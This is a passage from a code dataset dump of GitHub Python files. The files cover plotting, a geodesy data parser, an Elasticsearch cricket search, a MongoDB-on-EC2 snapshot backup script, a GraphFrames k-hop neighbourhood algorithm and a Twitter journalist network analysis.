label='bcm4b')\nplt.plot(x, bcm4c_a, linestyle='', marker='>', mfc='white', ms=5, color = 'r', label='bcm4c')\nplt.plot(x, unser_a, linestyle='', marker='D', mfc='white', ms=5, color = 'r', label='unser')\n\nplt.xlabel('Run Runmber')\nplt.ylabel('Beam Current [ micro-Amps ]')\n\nplt.yscale('log')\nplt.grid(True)\nplt.legend()\n\n\nplt.figure()\n\n\n\n#calculate the ratio\n\nplt.xticks(x, my_xticks)\n\nratio_b = bcm1_b /bcm2_b\nratio_a = bcm1_a /bcm2_a\n\nratio_v1b = bcm4a_b / bcm1_b\nratio_v2b = bcm4b_b / bcm1_b\nratio_v3b = bcm4c_b / bcm1_b\n\nratio_v1a = bcm4a_a / bcm1_a\nratio_v2a = bcm4b_a / bcm1_a\nratio_v3a = bcm4c_a / bcm1_a\n\nplt.plot(x, ratio_v1b, linestyle='', marker='o',  mfc='white', ms=7, color = 'k', label='bcm4a/bcm1 (before)')\nplt.plot(x, ratio_v2b, linestyle='', marker='^',  mfc='white', ms=7, color = 'k', label='bcm4b/bcm1 (before)')\nplt.plot(x, ratio_v3b, linestyle='', marker='s',  mfc='white', ms=7, color = 'k', label='bcm4c/bcm1 (before)')\n\nplt.plot(x, ratio_v1a, linestyle='', marker='o',  mfc='white', ms=7, color = 'r', label='bcm4a/bcm1 (after)')\nplt.plot(x+0.1, ratio_v2a, linestyle='', marker='^',  mfc='white', ms=7, color = 'r', label='bcm4b/bcm1 (after)')\nplt.plot(x+0.2, ratio_v3a, linestyle='', marker='s',  mfc='white', ms=7, color = 'r', label='bcm4c/bcm1 (after)')\n\n#plt.plot(x, ratio_b, linestyle='', marker='o',  mfc='white', ms=5, color = 'k', label='bcm1/bcm2 (before)')\n#plt.plot(x, ratio_a, linestyle='', marker='o',  mfc='white', ms=5, color = 'r', label='bcm1/bcm2 (after)')\n\n\n\nplt.xlabel('Run Number')\n#plt.ylabel('Ratio = BCM1 / BCM2')\nplt.ylabel('Ratio = BCM4 (a,b,c) / BCM1')\n\nplt.grid(True)\nplt.legend()\nplt.show()\n","repo_name":"Yero1990/ONLINE_PION_LT_STUDIES","sub_path":"scripts/bcm_check/plot_bcm.py","file_name":"plot_bcm.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74439026569","text":"\"\"\"A parser for reading post-seismic deformation data from ITRF files in SNX format\n\nDescription:\n------------\n\nReads post-seismic deformation model paramters from ITRF files in SNX format.\n\n\"\"\"\n\n# Midgard imports\nfrom midgard.dev import plugins\nfrom midgard.parsers._parser_sinex import SinexParser\n\n\n@plugins.register\nclass TrfSnxPsdParser(SinexParser):\n    \"\"\"A parser for reading data from ITRF files in SNX format\n    \"\"\"\n\n    def setup_parser(self):\n        return (self.site_id, self.solution_estimate)\n\n    def parse_site_id(self, data):\n        for d in data:\n            site_key = d[\"site_code\"]\n            self.data.setdefault(site_key, dict())\n            self.data[site_key] = dict(\n                antenna_id=d[\"site_code\"], marker=d[\"marker\"], domes=d[\"domes\"], name=d[\"description\"]\n            )\n\n    def parse_solution_estimate(self, data):\n        for d in data:\n            site_key = d[\"site_code\"]\n            self.data[site_key].setdefault(\"psd\", dict()).setdefault(d[\"ref_epoch\"], dict(epoch=d[\"ref_epoch\"]))\n            self.data[site_key][\"psd\"][d[\"ref_epoch\"]].setdefault(d[\"param_name\"], list()).append(d[\"estimate\"])\n","repo_name":"kartverket/where","sub_path":"where/parsers/trf_snx_psd.py","file_name":"trf_snx_psd.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"16"}
+{"seq_id":"27468730658","text":"from re import search\nfrom elasticsearch import Elasticsearch , helpers\n\nes = Elasticsearch([{'host': 'localhost', 'port':1900}])\n\nes = Elasticsearch()\n\n\ndef get_search_results_by_name(token):\n    body = {\n        \"from\":0,\n        \"size\":3,\n        \"query\": {\n            \"match\": {\n                \"Full_Name\":token\n            }\n        }\n    }\n\n    res = es.search(index=\"sl_cricketers\", body=body)\n    return res\ndef get_search_results_by_born(token):\n    body = {\n        \"from\":0,\n        \"size\":3,\n        \"query\": {\n            \"match\": {\n                \"Born\":token\n            }\n        }\n    }\n\n    res = es.search(index=\"sl_cricketers\", body=body)\n    return res\n\ndef get_search_results_by_birth_day(to , from_d):\n    body = {\n        \"from\":0,\n        \"size\":3,\n        \"query\": {\n            \"range\": {\n                \"Born\" :{\n                    \"lt\": to,\n                    \"gt\": from_d\n                }\n            }\n        }\n    }\n\n    res = es.search(index=\"sl_cricketers\", body=body)\n    return res\n\n\ndef get_multi_search_results(phrase):\n\n    token  = phrase.strip().split(\" \")\n\n    frequent_words = [\"ක්රීඩා\",\"කළ\",\"කල\",\"ක්රීඩකයන්\", \"පන්දු\" ,\"යවන්නන්\",\"සහා\",\"හා\"]\n\n    print(token)\n    for word in token:\n        if word in frequent_words:\n            token.remove(word)\n    search_token = \" \".join(token)\n    search_token = search_token.replace(\"පිතිකරැවන්\", \"පිතිකරණය\")\n    search_token = search_token.replace(\"දකුණත්\", \"දකුණු අත\")\n    search_token = search_token.replace(\"වමත්\", \"වම් අත\")\n    print(search_token)\n    body = {\n            \"from\":0,\n            \"size\":20,\n            \"query\": {\n                \"multi_match\" : {\n                    \"query\":   search_token, \n                    \"type\" : \"most_fields\",\n                    \"fields\": [\"Born\",\"Carrer\",\"*_Style\"],\n                    \"operator\":   \"or\"\n                }\n            },\n            \"aggs\":{\n                \"Born Filter\":{\n                    \"terms\":{\n                        \"field\":\"Born.keyword\",\n                        \"size\":10\n                    }\n                },\n                \"Name Filter\":{\n                    \"terms\":{\n                        \"field\":\"Full_Name.keyword\",\n                        \"size\":10\n                    }\n                },\n                \"Carrer Filter\":{\n                    \"terms\":{\n                        \"field\":\"Carrer.keyword\",\n                        \"size\":10\n                    }\n                },\n                \"Batting Style Filter\":{\n                    \"terms\":{\n                        \"field\": \"Batting_Style.keyword\",\n                        \"size\":10\n                    }\n                },\n                 \"Bowling Style Filter\":{\n                    \"terms\":{\n                        \"field\": \"Bowling_Style.keyword\",\n                        \"size\":10\n                    }\n                }\n\n            }\n         }\n    res = es.search(index=\"sl_cricketers\", body=body)\n    #print(res)\n    return res\n#aggregation = res['aggregations']\n#hits = res['hits']['hits']\n#num_results = len(hits)\n\n#print(hits)\n#print(num_results)\n#res = es.get(index=\"sl_cricket\", doc_type=\"sentences\", id=1)\n\n#print(res)","repo_name":"rukmals/Sinhala_SL_Crickerters_Search_App_ElasticSearch","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12989135753","text":"\"\"\"\nGiven a string S of '(' and ')' parentheses, we add the minimum number of parentheses ( '(' or ')', and in any positions ) so that the resulting parentheses string is valid.\n\nFormally, a parentheses string is valid if and only if:\n\nIt is the empty string, or\nIt can be written as AB (A concatenated with B), where A and B are valid strings, or\nIt can be written as (A), where A is a valid string.\nGiven a parentheses string, return the minimum number of parentheses we must add to make the resulting string valid.\n\n \n\nExample 1:\n\nInput: \"())\"\nOutput: 1\nExample 2:\n\nInput: \"(((\"\nOutput: 3\nExample 3:\n\nInput: \"()\"\nOutput: 0\nExample 4:\n\nInput: \"()))((\"\nOutput: 4\n\"\"\"\n\n\ndef minAddToMakeValid(S):\n    if len(S) == 0:\n        return 0\n    open_par, closed_par = 0, 0\n    for c in S:\n        if c == '(':\n            open_par += 1\n        if c == ')':\n            if open_par > 0:\n                open_par -= 1\n            else:\n                closed_par += 1\n    return open_par + closed_par\n","repo_name":"makhmudislamov/cti_ips_2020","sub_path":"mod7_stacks/min_parenthesis.py","file_name":"min_parenthesis.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27901503146","text":"from langchain.agents import AgentExecutor\nfrom langchain.agents.structured_chat.base import StructuredChatAgent\nfrom memory.entity_cache import ConversationEntityCache\nfrom langchain import LLMChain\n\n\n\nfrom agent.tools import tools\nfrom agent import prompt\nfrom initialization import turbo_llm, memory_llm, detail_llm\n\n\nagents = {}\n\ndef get_conversational_agent(usrNumber, user_name, user_obj, bot_personality, bot_name):\n    if usrNumber not in agents:\n        agents[usrNumber] = create_conversational_agent(user_name, user_obj, bot_personality, bot_name, usrNumber)\n    return agents[usrNumber]\n\n\ndef create_conversational_agent(user_name, user_obj, bot_personality, bot_name, usrNumber):\n    \n\n    memory = ConversationEntityCache(\n        usrNumber=usrNumber, memory_key=\"chat_history\", llm=memory_llm, \n        input_key=\"input\", human_name=user_name, bot_name=bot_name, return_messages=True,\n    )\n\n    tool_names = [tool.name for tool in tools]\n    llm_chain = LLMChain(llm=turbo_llm, prompt=prompt.prompt)\n    agent = StructuredChatAgent(llm_chain=llm_chain, allowed_tools=tool_names)\n\n\n    agent = AgentExecutor.from_agent_and_tools(\n        agent=agent,\n        tools=tools,\n        max_iterations=3,\n        verbose=True,\n        early_stopping_method=\"generate\",\n        memory=memory,\n        agent_kwargs={\n            'input_variables': [\"input\", \"chat_history\", \"entities\",  \"agent_scratchpad\",\n                                \"user_name\", \"user_obj\", \"bot_personality\", \"bot_name\"],\n        },\n    )\n    return agent\n\n\n\n","repo_name":"Seraphaious/SMS-AI","sub_path":"agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"16"}
+{"seq_id":"43590013734","text":"import utils\nfrom photfdtd import DirectionalCoupler, Grid, Solve\n\nif __name__ == \"__main__\":\n\n    background_index = 1.455\n\n    dc = DirectionalCoupler(\n        xlength=200,\n        ylength=80,\n        zlength=20,\n        x=100,\n        y=50,\n        z=12,\n        direction=1,\n        width=20,\n        name=\"dc\",\n        refractive_index=3.47,\n        xlength_rectangle=50,\n        gap=10,\n        background_index=background_index\n    )\n\n    grid = Grid(grid_xlength=200, grid_ylength=100, grid_zlength=25, grid_spacing=20e-9, total_time=1000,\n                pml_width_x=20,\n                pml_width_y=8, pml_width_z=1,\n                permittivity=background_index ** 2, foldername=\"test_dc\")\n\n    grid.set_source(\n        x=25, xlength=0,\n        y=80, ylength=dc.width + 4,\n        z=12, zlength=dc.width + 2,\n        source_type=\"planesource\",\n        period=1550e-9 / 299792458, pulse=False\n    )\n\n    grid.set_detector(detector_type='blockdetector',\n                      x=175, xlength=0,\n                      y=80, ylength=dc.width + 4,\n                      z=12, zlength=dc.width + 2,\n                      name='detector')\n\n    grid.add_object(dc)\n\n    # 创建solve对象\n    solve = Solve(grid=grid)\n\n    solve._plot_(axis='z',\n                 index=12,\n                 filepath=grid.folder)\n\n    grid.run()\n\n    # 保存仿真结果\n    grid.save_simulation()\n\n    # 绘制任意截面场图\n    grid.save_fig(axis=\"z\",\n                  axis_number=12)\n    grid.save_fig(axis=\"x\",\n                  axis_number=100)\n\n    # 读取仿真结果\n    data = grid.read_simulation(folder=grid.folder)","repo_name":"phot-lab/photfdtd","sub_path":"examples/dc_ex.py","file_name":"dc_ex.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"24704346873","text":"\"\"\"Finds an EC2 instance running a MongoDB secondary and snapshots it\"\"\"\n\nfrom boto import ec2\nfrom pymongo import MongoClient\nfrom pymongo.errors import ConnectionFailure\nimport settings, reporting\n\ndef get_connection():\n    \"\"\"Connects to AWS using credentials from settings.py\"\"\"\n    return ec2.connection.EC2Connection(\n        aws_access_key_id=settings.AWS_ACCESS_KEY,\n        aws_secret_access_key=settings.AWS_SECRET_KEY\n        )\n\ndef get_mongo_url(host):\n    \"\"\"Gets Mongo URL from EC2 instance and credentials in settings.py\"\"\"\n    return \"mongodb://\" + \\\n        settings.MONGO_USERNAME + \":\" + \\\n        settings.MONGO_PASSWORD + \"@\" + \\\n        host + settings.MONGO_PORT + \"/\" + \\\n        settings.MONGO_DATABASE\n\ndef is_secondary(instance):\n    \"\"\"Checks if EC2 instance is a seconday member of a replica set\"\"\"\n    public_dns = instance.public_dns_name\n    try:\n        client = MongoClient(\n            host=get_mongo_url(public_dns)\n            )\n    except ConnectionFailure:\n        return False\n    if client.is_primary:\n        client.disconnect()\n        return False\n    client.disconnect()\n    return True\n\ndef get_volume_from_instance(instance, connection):\n    \"\"\"Gets the EBS volume attached to the EC2 instance\"\"\"\n    if len(instance.block_device_mapping) != 1:\n        return False\n\n    mappings = connection.get_instance_attribute(\n        instance_id=instance.id,\n        attribute='blockDeviceMapping'\n        )['blockDeviceMapping']\n    _, volume = mappings.popitem()\n    return volume.volume_id\n\ndef get_volume(connection):\n    \"\"\"Finds an EC2 instance that is seconday member and returns its EBS volume\"\"\"\n    reservations = connection.get_all_reservations(filters=settings.INSTANCE_FILTERS)\n    for reservation in reservations:\n        for instance in reservation.instances:\n            if is_secondary(instance):\n                volume = get_volume_from_instance(instance, connection)\n                if volume:\n                    return volume\n    return None\n\ndef make_snapshot(connection):\n    \"\"\"Finds appropriate volume and snapshots it\"\"\"\n    volume = get_volume(connection)\n    if volume is None:\n        reporting.error(\"Could not find a volume to backup\")\n        exit(1)\n    try:\n        connection.create_snapshot(\n            volume,\n            description=\"Automatically created by backup daemon\"\n            )\n    except:\n        reporting.error(\"Error saving snapshot\")\n        return\n    reporting.success(\"Snapshot saved of volume \" + volume)\n\ndef trim_snapshots(connection):\n    \"\"\"Removes old snapshots based on retention settings from settings.py\"\"\"\n    try:\n        return connection.trim_snapshots(\n            hourly_backups=settings.RETAIN_HOURLY,\n            daily_backups=settings.RETAIN_DAILY,\n            monthly_backups=settings.RETAIN_MONTHLY\n            )\n    except:\n        reporting.error(\"Error trimming snapshots\")\n\ndef backup():\n    \"\"\"Finds and snapshots a running secondary and removes stale snapshots\"\"\"\n    connection = get_connection()\n    make_snapshot(connection)\n    trim_snapshots(connection)\n\nif __name__ == \"__main__\":\n   backup()\n","repo_name":"shebson/mongobackupd","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72286458568","text":"class Candy:\n   def __init__(self, name, isChocolate, sugarPercentile, winPercentage):\n     self.name = name\n     if isChocolate == '0':\n        self.isChocolate = False\n     else:\n        self.isChocolate = True\n     self.sugarPercentile = float(sugarPercentile)\n     self.winPercentage = float(winPercentage)\n\ndef main():\n   candyFile = open (\"candy-data.txt\", \"r\")\n   maxWin = None\n   for line in candyFile:\n      line = line.strip()\n      name, isChocolate, sugarPercentile, winPct = line.split('\\t')\n      candyData = Candy(name, isChocolate, sugarPercentile, winPct)\n      if not candyData.isChocolate:\n         if maxWin == None or candyData.winPercentage > maxWin.winPercentage:\n             maxWin =candyData    \nprint (maxWin.name)\nprint (maxWin.winPercentage)\n\nmain()","repo_name":"ereynolds123/introToProgramming","sub_path":"candycomparison.py","file_name":"candycomparison.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35110536362","text":"import string\nimport tempfile\nfrom typing import Tuple, Iterable, Dict\n\nimport findspark\nfrom argparse import ArgumentParser\n\nfrom graphframes import GraphFrame\nfrom graphframes.lib import AggregateMessages as AM\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.dataframe import DataFrame as DataFrame\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.types import (\n    MapType,\n    StringType,\n    ArrayType,\n    ShortType,\n    StructType,\n    StructField,\n)\n\n\ndef init_spark(tmp_dir) -> SparkSession:\n    findspark.init()\n    session = (\n        SparkSession.builder.config(\n            \"spark.jars.packages\",\n            \"graphframes:graphframes:0.8.1-spark3.0-s_2.12\",\n        )\n        .appName(\"k-hop-neighborhood\")\n        .getOrCreate()\n    )\n    session.sparkContext.setCheckpointDir(tmp_dir)\n    return session\n\n\nclass FriendshipMixin:\n    \"\"\"Home to the user-defined functions.\n\n    Attributes:\n        sd_schema: DataFrame schema that represents shortest distance to a vertex.\n    \"\"\"\n\n    sd_schema = MapType(StringType(), ShortType())\n\n    @staticmethod\n    def update_shortest_distance(\n        shortest: Dict, candidates: Iterable[Dict]\n    ) -> Tuple[Dict, Dict]:\n        \"\"\"\n        Assuming `shortest` holds shortest distances from one vertex to a set of vertices are stored in a dictionary,\n        the function updates `shortest` with entries from `other`.\n\n        Args:\n            shortest: Organised as {`vertex_id_A`: distance_A, ... `vertex_id_I`: distance_I`}\n            candidates: Organised as {`vertex_id_A`: distance_A, ... `vertex_id_I`: distance_I`}\n\n        Returns:\n            Dictionary of shortest distances and a subset of `candidates`that made it into `shortest`\n\n        \"\"\"\n        newly_added = {}\n        for elem in candidates:\n            for k, v in elem.items():\n                if shortest.get(k) is None or v <= shortest.get(k):\n                    shortest[k] = v\n                    newly_added.update({k: shortest[k]})\n        return shortest, newly_added\n\n    def __init__(self):\n        self.bump_udf = F.udf(\n            lambda x: {k: v + 1 for k, v in x.updated.items()}\n            if x.updated\n            else None,\n            self.sd_schema,\n        )\n        \"\"\"Distance is stored relative to the vertex's 1-hop neighbors\"\"\"\n\n        self.update_shortest_path_udf = F.udf(\n            FriendshipMixin.update_shortest_distance,\n            StructType(\n                [\n                    StructField(\"friends\", self.sd_schema, False),\n                    StructField(\"updated\", self.sd_schema, False),\n                ]\n            ),\n        )\n        \"\"\"Maintains shortest paths between node pairs when new pairs are added merge_columns\"\"\"\n\n        self.merge_columns_udf = F.udf(\n            lambda *x: sum([*x], []), ArrayType(self.sd_schema)\n        )\n\n\nclass FindFriends(FriendshipMixin):\n    \"\"\"Finds nodes reachable from a node within k-hops, for all nodes. Horizontally scalable, using GraphFrames.\n\n    Remains scalable in case of large choices of k, or hops, because of the following design choices:\n    1) keeps message sizes under control by removing redundant vertices\n    2) as soon as the entire search space has been explored for a vertex, message propagation from that vertex is stopped\n\n    Because we're using short integers (see `FriendshipMixin.sd_schema`),`degree` is effectively limited to 32767.\n    \"\"\"\n\n    def initialize_bfs(\n        self, vertices: DataFrame, edges: DataFrame\n    ) -> Tuple[DataFrame, DataFrame]:\n        \"\"\"Prepares dataframes for the message passing algorithm. Next to representing the graph as vertices and edges,\n        Specifically, for each vertex, neighborhoods are initialized by adding a self-reference with distance of 0.\n\n        Args:\n            vertices:\n            edges:\n\n        Returns:\n\n        \"\"\"\n        distance_to_self = F.array(F.create_map(vertices.id, F.lit(0)))\n        friends = vertices.withColumn(\n            \"bfs\",\n            self.update_shortest_path_udf(F.create_map(), distance_to_self),\n        )\n\n        return friends, edges\n\n    def bfs(self, vertices, edges, degree: int) -> DataFrame:\n        \"\"\"A batch synchronous implementation of breadth-first search based on AggregateMessages primitive.\n\n        K-hop neighborhoods are represented as vertex-to-degree maps (dictionaries), e.g. as {e -> 0, a -> 1, d -> 1}.\n        For each vertex, the algorithm iteratively expands the search by one hop.\n\n        Algorithm steps\n        0. Neighborhoods get initialized for each vertex by adding self to the set.\n        1. Send newly added neighbors as outgoing messages\n        2. Aggregate received messsage\n        3. Join nodes from the received message with neighborhood. Isolate and update newly added neighbors.\n        4. Repeat 1.\n\n        To keep message passing between vertices lightweight, the algorithm only propagates those vertices that are a\n        new addition to the k-hop neighborhood; repeatedly sending from previous traversals would be redundant and cause\n        scalability issues.\n        Another performance-related tweak is a mechanism that recognizes when breadth-first search can be terminated.\n        If an iteration of breadth-first search hasn't returned any new friends, this means we've traversed all the\n        connected nodes and can call it off; the search would otherwise be stuck in a loop or retracing a cul-de-sac,\n        or possibly both.\n\n        Important:\n        By convention, the function treats every edge as bidirectional, sending messages both to the inbound and\n        outbound edges. The assumption here is that duplicate pairs don't exist, and an internal mechanism that\n        checks for duplicates at runtime does not exist\n        So, for example, take care not to use both \"david\" -> \"tim\" and \"tim\" -> \"david\"\n        in edge definitions, otherwise you risk slowing down the computation.\n\n        Potential algorithmic improvements:\n        A single vertex currently broadcasts the same message to all the outbound edges indiscriminantly. By not\n        returning the received message back to the sender down the same edge, messages can be made even shorter.\n\n        Args:\n            vertices:\n            edges:\n            degree:\n\n        Returns:\n            +---+------------------------+\n            |id |bfs                     |\n            +---+------------------------+\n            |e  |{a -> 1, d -> 1, e -> 0}|\n            |d  |{c -> 1, d -> 0, e -> 1}|\n        \"\"\"\n        friends, edges = self.initialize_bfs(vertices, edges)\n        friends_cached = AM.getCachedDataFrame(friends)\n        graph = GraphFrame(\n            friends_cached,\n            AM.getCachedDataFrame(edges),\n        )\n\n        for hop in range(degree):\n            agg = graph.aggregateMessages(\n                F.collect_list(AM.msg).alias(\"most_recently_visited\"),\n                sendToSrc=self.bump_udf(AM.dst[\"bfs\"]),\n                sendToDst=self.bump_udf(AM.src[\"bfs\"]),\n            )\n\n            updated_friends = (\n                graph.vertices.select(\"id\", \"bfs.*\")\n                .join(agg, [\"id\"], \"inner\")\n                .withColumn(\n                    \"bfs\",\n                    self.update_shortest_path_udf(\n                        \"friends\", \"most_recently_visited\"\n                    ),\n                )\n            )[\"id\", \"bfs\"]\n\n            # Updating vertices. Using the approach to caching as in\n            # https://graphframes.github.io/graphframes/docs/_site/api/python/_modules/graphframes/examples/belief_propagation.html\n            friends_cached.unpersist()\n            friends_cached = AM.getCachedDataFrame(updated_friends)\n            graph = GraphFrame(friends_cached, graph.edges)\n\n        return graph.vertices.select(\"id\", \"bfs.friends\")\n\n    @staticmethod\n    def sort_and_clean(friendships):\n        \"\"\"Helper that removes self references in friendships, sorts friendships lexicographically and sorts rows by id.\n\n        Args:\n            friendships:\n\n        Returns:\n            +---+------------------------+\n            |id |friends                 |\n            +---+------------------------+\n            |e  |{a -> 1, d -> 1, e -> 0}|\n            |d  |{c -> 1, d -> 0, e -> 1}|\n        \"\"\"\n        filter_and_sort_keys_udf = F.udf(\n            lambda arr, key_not_in: sorted(\n                [k for k in arr if k not in key_not_in]\n            ),\n            ArrayType(StringType()),\n        )\n        select_by_key_udf = F.udf(\n            lambda d, keys: [d[k] for k in keys], ArrayType(ShortType())\n        )\n        return (\n            friendships.withColumn(\n                \"keys\", filter_and_sort_keys_udf(F.map_keys(\"friends\"), \"id\")\n            )\n            .withColumn(\"distances\", select_by_key_udf(\"friends\", \"keys\"))\n            .drop(\"friends\")\n            .withColumnRenamed(\"keys\", \"friends\")\n            .orderBy(\"id\")\n        )\n\n    def find_friends(self, vertices, edges, degree: int):\n        # friendships = self.pregel_port(vertices, edges, degree)\n        friendships = self.bfs(vertices, edges, degree)\n        return self.sort_and_clean(friendships)\n\n\ndef load_input_edges(spark: SparkSession, input_path: string):\n    return (\n        spark.read.option(\"delimiter\", \"\\t\").csv(input_path).toDF(\"src\", \"dst\")\n    )\n\n\ndef load_graph(edges) -> Tuple[DataFrame, DataFrame]:\n    \"\"\"\n\n    Args:\n        edges:\n\n    Returns:\n        two DataFrames, representing vertices and edges, respectively.\n    \"\"\"\n\n    other_edges = edges.select(edges.dst.alias(\"src\"), edges.src.alias(\"dst\"))\n    all_edges = edges.unionByName(other_edges)\n    vertices = all_edges.select(all_edges.src.alias(\"id\")).distinct()\n    return vertices, edges\n\n\ndef save_as_text_file(df, include_degree, output):\n    \"\"\"\n    Parses output of the graph algorithm and outputs a textual file.\n\n    Args:\n        df:\n        include_degree: Controls whether to include or exclude degrees in the printout\n        output: path to destination\n\n    Returns:\n\n    \"\"\"\n\n    vertices_and_distance_format_udf = F.udf(\n        lambda vert, deg: [f\"{k},{v}\" for k, v in zip(vert, deg)],\n        ArrayType(StringType()),\n    )\n    if include_degree:\n        _injection = vertices_and_distance_format_udf(\"friends\", \"distances\")\n    else:\n        _injection = \"friends\"\n    return (\n        df.select(\n            F.concat(\n                F.col(\"id\"),\n                F.lit(\"\\t\"),\n                F.array_join(_injection, delimiter=\"\\t\"),\n            ).alias(\"res\")\n        )\n        .rdd.map(lambda x: x[0])\n        .saveAsTextFile(output)\n    )\n\n\ndef main():\n    \"\"\"\n    Input file is not expectad to have a header. A header will get interpreted as an additional edge in your graph\n\n    Returns:\n\n    \"\"\"\n    parser = ArgumentParser()\n    parser.add_argument(\"input\", type=str)\n    parser.add_argument(\"degree\", type=int)\n    parser.add_argument(\"output\", type=str)\n    parser.add_argument(\"--include-degree\", type=bool, default=True)\n    args = parser.parse_args()\n\n    with tempfile.TemporaryDirectory() as tmp_dir:\n        spark = init_spark(tmp_dir)\n        ff = FindFriends()\n        df = ff.find_friends(\n            *load_graph(load_input_edges(spark, args.input)),\n            degree=args.degree,\n        )\n        out = save_as_text_file(df, args.include_degree, args.output)\n\n        spark.stop()\n\n        return out\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"iivek/k-hop-neighborhoods-spark","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9148679240","text":"import sqlite3\nimport csv\nimport networkx as nx\nimport pandas as pd\n\n\n# Create a SQL connection to our SQLite database\ncon = sqlite3.connect(\"following_final.sqlite\")\n\ncur = con.cursor()\n\nwriters = set()\nG = nx.Graph()\njourno_followers = {}\nnames = {}\nfollowers = {}\nlocations = {}\nurls = {}\n\n\nfor row in cur.execute('SELECT * FROM Following;'):\n    writer = row[1]\n    twitter_name = row[2]\n    num_followers = row[3]\n    gender = row[4]\n    url = row[5]\n    location = row[6]\n    num_following = row[7]\n    writers.add(twitter_name)\n    #print(twitter_name)\n\n    journo_followers[twitter_name] = 0\n    names[twitter_name] = writer\n    followers[twitter_name] = num_followers\n    locations[twitter_name] = location\n    urls[twitter_name] = url\n\n    G.add_node(twitter_name, real_name=writer)\n    \n\nfor row in cur.execute('SELECT * FROM Following;'):\n    writer = row[1]\n    twitter_name = row[2]\n    num_followers = row[3]\n    gender = row[4]\n    url = row[5]\n    location = row[6]\n    num_following = row[7]\n    following = row[8].split(':')\n\n    #print(twitter_name)\n\n    for user in following:\n        if (user in writers):\n            #print \"%s - %s - %s - %s\" % (writer, num_following, twitter_name, user)\n            G.add_edge(twitter_name, user)\n            journo_followers[user] = journo_followers[user] + 1\n\n\n# Be sure to close the connection\ncon.close()\n\n\n# USER EDGES AS REAL MEASURE - degrees is fauly since it counts your own following - eg \n# @funder follows 89k people \ndegrees =  dict(G.degree)\n\njourno_followers = pd.DataFrame.from_dict(dict(journo_followers), orient='index').reset_index()\njourno_followers.columns = ['user', 'journo_followers']\n\nnames = pd.DataFrame.from_dict(dict(names), orient='index').reset_index()\nnames.columns = ['user', 'name']\nfollowers = pd.DataFrame.from_dict(dict(followers), orient='index').reset_index()\nfollowers.columns = ['user', 'num_followers']\nlocations = pd.DataFrame.from_dict(dict(locations), orient='index').reset_index()\nlocations.columns = ['user', 'location']\nurls = pd.DataFrame.from_dict(dict(urls), orient='index').reset_index()\nurls.columns = ['user', 'url']\n\nprs = nx.pagerank(G, alpha=0.9)\nprs = pd.DataFrame.from_dict(dict(prs), orient='index').reset_index()\nprs.columns = ['user', 'page_rank']\n\n\n#betweenness = nx.betweenness_centrality(G)\n#betweenness = pd.DataFrame.from_dict(dict(betweenness), orient='index').reset_index()\n#betweenness.columns = ['user', 'betweenness']\n\n#closeness = nx.closeness_centrality(G)\n#closeness = pd.DataFrame.from_dict(dict(closeness), orient='index').reset_index()\n#closeness.columns = ['user', 'closeness']\n\n\ndf = pd.DataFrame.from_dict(dict(G.degree()), orient='index').reset_index()\n#df = pd.DataFrame.from_dict(dict(journo_followers), orient='index').reset_index()\n\ndf.columns = ['user', 'degrees']\nprint(df)\ndf = df.sort_values(by=['degrees'])\n\ndf = df.merge(journo_followers, left_on='user', right_on='user')\ndf = df.merge(names, left_on='user', right_on='user')\ndf = df.merge(followers, left_on='user', right_on='user')\ndf = df.merge(locations, left_on='user', right_on='user')\ndf = df.merge(urls, left_on='user', right_on='user')\ndf = df.merge(prs, left_on='user', right_on='user')\n#df = df.merge(betweenness, left_on='user', right_on='user')\n#df = df.merge(closeness, left_on='user', right_on='user')\n\n\n# normalize out of 100\n\n# remove noninteger rows\ndf = df[pd.to_numeric(df['num_followers'], errors='coerce').notnull()]\ndf = df[pd.to_numeric(df['journo_followers'], errors='coerce').notnull()]\n\n\ndf['score'] = df['journo_followers'].astype(int) * (1 + df['num_followers'].astype(int)/3000000) \n#* df['prs'].astype(int) * 1   # add NYT multiplier soon\n\nprint(df)\ndf.to_csv('journo_followers6.csv')\n\n\n\n# this is cool - find the communities\n# eg sports journos, Right wing, some left, canadians, brits, NYT/CNN etc\nimport networkx.algorithms.community as nx_comm\ncommunities = nx_comm.louvain_communities(G, seed=123)\n\n#import pandas as pd\n#df = pd.read_csv('combined_journos_2022b.csv')\n\nfor c in communities:\n    \n    #print(\"comminity\")\n    print(\"--------\")\n\n    if len(c) > 6:\n        continue\n\n    for node in c:\n        print(G.nodes[node])\n        user = G.nodes[node]['real_name']\n        print(user)\n        \n        #user_row = df[df['writer'] == user]\n        #if len(user_row) > 1:\n        #    continue\n        \n        #followers = df[df['writer'] == user]['num_followers'].item()\n        #print(followers)\n\n        #if followers < 1000:\n        #    print(\"DROPPING\")\n        #    df.drop(df[df['writer'] == user].index, inplace=True)\n\n\n#df.to_csv('combined_journos_2022c.csv')\n        \n\n\n    #print(\"\\n\")\n\n\n\n\n\n\n\n#largest = max(nx.strongly_connected_components(G), key=len)\n#print(largest)\n\n\n#from networkx.algorithms.community import k_clique_communities\n#communities = list(k_clique_communities(G, 5))\n#print(communities)\n\n#to get degrees \n#for key, value in writer_degrees.items():\n#    print(key + 